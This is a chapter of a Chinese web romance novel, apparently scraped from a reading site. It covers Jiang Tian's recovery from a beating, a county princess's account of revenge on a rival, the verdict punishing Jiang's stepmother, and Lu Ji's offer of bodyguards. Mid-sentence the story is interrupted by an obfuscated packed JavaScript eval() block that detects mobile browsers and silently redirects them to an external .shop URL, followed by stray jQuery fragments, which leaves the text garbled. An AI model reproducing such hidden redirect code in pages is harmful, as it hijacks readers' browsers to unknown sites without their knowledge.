文趣网 > 其他小说 > 侯爷,你的全糖芋泥米麻薯 > 30. 恶有恶报
    姜甜在床上生生躺了五日,往后才能起来小坐片刻。云薇皮肉伤比她更重,恢复得更慢些。还好眼下已入晚秋气温转冷,若是天热更得遭罪。

    奇怪的是她到了梅园将近十日后邹佩兰才上门拜访。这时姜甜和云薇已好了许多,然而邹佩兰看着她们背上、臀上那些青紫交错的伤口还是忍不住泪湿巾帕。姜甜问她回去后有没有被舅舅为难,邹佩兰说一开始少不了被他大骂几顿,她只当是放屁,后来皇城司派人来说要请她做证人,这下方济之再不敢为难她了。

    邹佩兰抓着她的手抱怨道,“甜儿,你不必三天两头地往方家送钱送礼,全被你舅舅拿去赌坊妓坊挥霍了!你挣钱辛苦,自个儿都没成家,这是何苦啊。”

    姜甜拍拍她的手安抚一番。其实她们都知道这是姜甜交给方济之的“保护费”,让他看在姜甜的份儿上对舅母好些。

    姜甜询问她为何这么晚才来,撒娇说担心得不得了。邹佩兰解释道近来药铺经营不善,她还要去作证朱夫人伪造族规一事,是以来晚了。

    姜甜有些疑惑,但牵扯到方家的生意,她不好多问。她谈及日后打算在外单独赁一间屋子,问邹佩兰可愿意搬出来与她同住。邹佩兰苦笑摇头,说她虽膝下无子无女,可毕竟还是方家的夫人,哪有与夫家分居的,说出去连她的母家都得蒙羞。

    别无他法,姜甜只得嘱咐舅母若有什么困难随时来找她。

    如此又过了三两日,梅园迎来一名贵客。

    安福县主身着一件枣红色夹棉织锦褙子,头戴一把宝石榴形金簪,裙摆上绣着菊花吐蕊,随着她的行动花影翩跹。她进屋后姜甜本欲起身行礼,被她摆摆手免了。她讶异道,“我听人闲话谈起才知道,你上府衙状告你家主母?真不愧是你,让人刮目相看!”

    姜甜赧然,“县主莫要取笑了。我也是走投无路,你看我都被打成什么样子了。”

    安福县主当真是个实心眼的,让她看她还真掀起姜甜的衣服往里看,边看边倒吸凉气,“哪有打自家小姐板子的,你那主母当真狠毒。我听闻府衙近日手脚可快,此案审理一日千里,想必不日便能宣判。估计你那主母也逃不了一顿板子。”

    寻常案件审理往往要十几日甚至上月,虽说姜甜此案并不复杂,但能进展顺利,她猜想一来是看在陆机的面子上,二来也有府尹沈大人的手笔。她曾救他家小儿一命,沈大人和杜夫人都是知恩图报之人,时不时会帮她一把,道是礼尚往来。

    安福县主笑得见牙不见眼,“你有所不知,现下京中有人喊你那主母为‘五百文夫人’。你爹身为六品官员,每月只给你五百文份例,还想夺你如日中天的铺子,真是痴心妄想,打得一手好算盘!”

    一旁的云薇忧心忡忡,姜甜让她有话直说。她怯怯地问道,“此事既已传扬出去了,外人会不会非议我家小姐,说她忤逆不孝?”

    “放心吧,小丫头。”安福县主朝姜甜抛了个媚眼,“自有人护你家小姐一个好名声,不必担忧。”

    姜甜假装听不懂,岔开话题问县主马球会那日算计她的始作俑者如何了。

    县主今日前来除了探病以外,正是想与她闲话几句那件事的后续。

    原来下手之人是吏部侍郎之女顾慕清,她倾心于探花郎、如今的礼部主事严承聿大人,听信传言道安福县主对严大人有意,便设计陷害于县主欲毁她名誉。

    安福县主当日按下那名侍女后隐忍不发,只让她回去禀报说未能成事。十余日后她以其人之道还治其人之身,让那名侍女偷了顾慕清的贴身锦帕塞给了一名京中出名的浪荡子,被人当众拆穿。

    那名纨绔子弟见有机会能攀上顾家,干脆缄口不语坐实了这份私情,气得顾大人大动肝火命女儿立即下嫁于他。顾慕清哪里愿意委身于这样一名游手好闲成日眠花宿柳之徒,气得绞了头发去白鹤观做姑子去了。

    安福县主幸灾乐祸之余也有几分唏嘘,“你可会觉得我行事过于张扬,报复得太狠了些?”

    姜甜浑然不觉,“县主不过以牙还牙,哪里过分了?若以德报怨,何以报德?”

    “就是!若她是个硬骨头不顾流言蜚语依旧过自己的日子便罢了,我还敬她几分。结果被人说上那么几句就气得要出家。己所不欲,勿施于人,反而让我更加不齿她的行径。”

    安福县主愈发觉得和姜甜相谈甚欢,恍如知己一般。她与姜甜畅聊了一个时辰才告辞,临行前嘱咐姜甜好好想想要什么谢礼,她提前备好。待得姜甜与“五百文夫人”的官司了结,想必姜家再不敢侵占她一毫一厘,到时再将谢礼给她,她便不必担心怀璧其罪了。

    -

    姜甜状告主母这一惊世骇俗的案件在陆机和沈兆之二人保驾护航之下有惊无险地判了下来。纵使大胤朝风俗较为开放,子女状告嫡母的案子还是百年难得一遇。为免姜甜受人非议,陆机特意寻了姜府耆老,几番敲打下由族中长辈

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625677|203570||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    出面为姜甜伸冤,重点亦从谋夺庶女私产转为肆意篡改族规,甚至口出狂言藐视国法。

    姜甜并不知背后这些弯弯绕绕,只做好了鱼死网破的准备,未曾想竟然如此顺利。九月二十那日,府尹沈大人亲自宣判朱夫人杖八十,折臀杖十五下,于偏厅当日执行。

    几日后,姜修业因知法犯法、治家不严被弹劾,连贬两级为大理寺评事。一时姜家在京城中沦为笑柄,韩家忙不迭与其一刀两断,什么婚约有人问起来就说从未有过此事。

    得知恶有恶报的大好消息,云薇仍是忧心忡忡,“小姐,你说老爷夫人还有三小姐会不会伺机报复咱们呀?道是暗箭难防,咱们可得小心些。”

    她速来心思缜密爱操心,此话不无道理。姜甜本以为类似的案件大多轻轻放下,哪怕判了杖刑最终也会让家人用银钱来赎,没想到还真打了朱夫人板子。她亦有些高兴不起来,抿着唇若有所思。

    知砚笑道,“现在姜府知道你家小姐有侯爷撑腰,岂敢再来挑衅?不要命了吗?”

    陆机闲闲地舀了一勺子蟹酿橙,淡淡点评道,“她不喜欢狐假虎威。”

    “狐假虎威怎么了?他姜理事大人不也是仗着自己官员的身份,仗着是姜姑娘亲爹,却不做亲爹的事儿。姜姑娘的主母和妹妹就更别说,狐假虎威算是好听的,根本就是狗仗人势。”

    没想到知砚是个通透的,说的话颇有几分道理。就是理不糙话太糙,这两厢类比下姜甜不也成了狗仗陆机的势……咳咳。

    “虽说有侯爷名声震慑那些宵小,我还是害怕。侯爷可知上哪儿能雇几个靠谱的护卫看家护院?往后我和云薇出门可得小心些。”姜甜偷偷瞄他一眼,“不要太贵的。”

    陆机轻笑一声。他早有意拨两个暗卫给她,怕她觉着被监视不自在犹豫如何开口,这下正好把计划跟她说了。

    “多谢侯爷一片好意。可是暗卫的酬劳……”是她能付得起吗?

    “不必了。”陆机头也不抬,找的理由却让她无法拒绝,“你不是赚的每一分钱都与我五五分成吗?能保证你的安全,让你安安心心多赚些钱,就当付我的酬劳了。”

    姜甜语塞。前些日子她拟好契书一式两份,她与陆机都签了字。她提出给陆机分钱是不想空手套白狼欠他人情,怎料他却仗着一纸契约愈发肆无忌惮地帮她,这让她多不好意思。

    何况她是准备付暗卫酬劳,什么时候变成了付陆机酬劳了。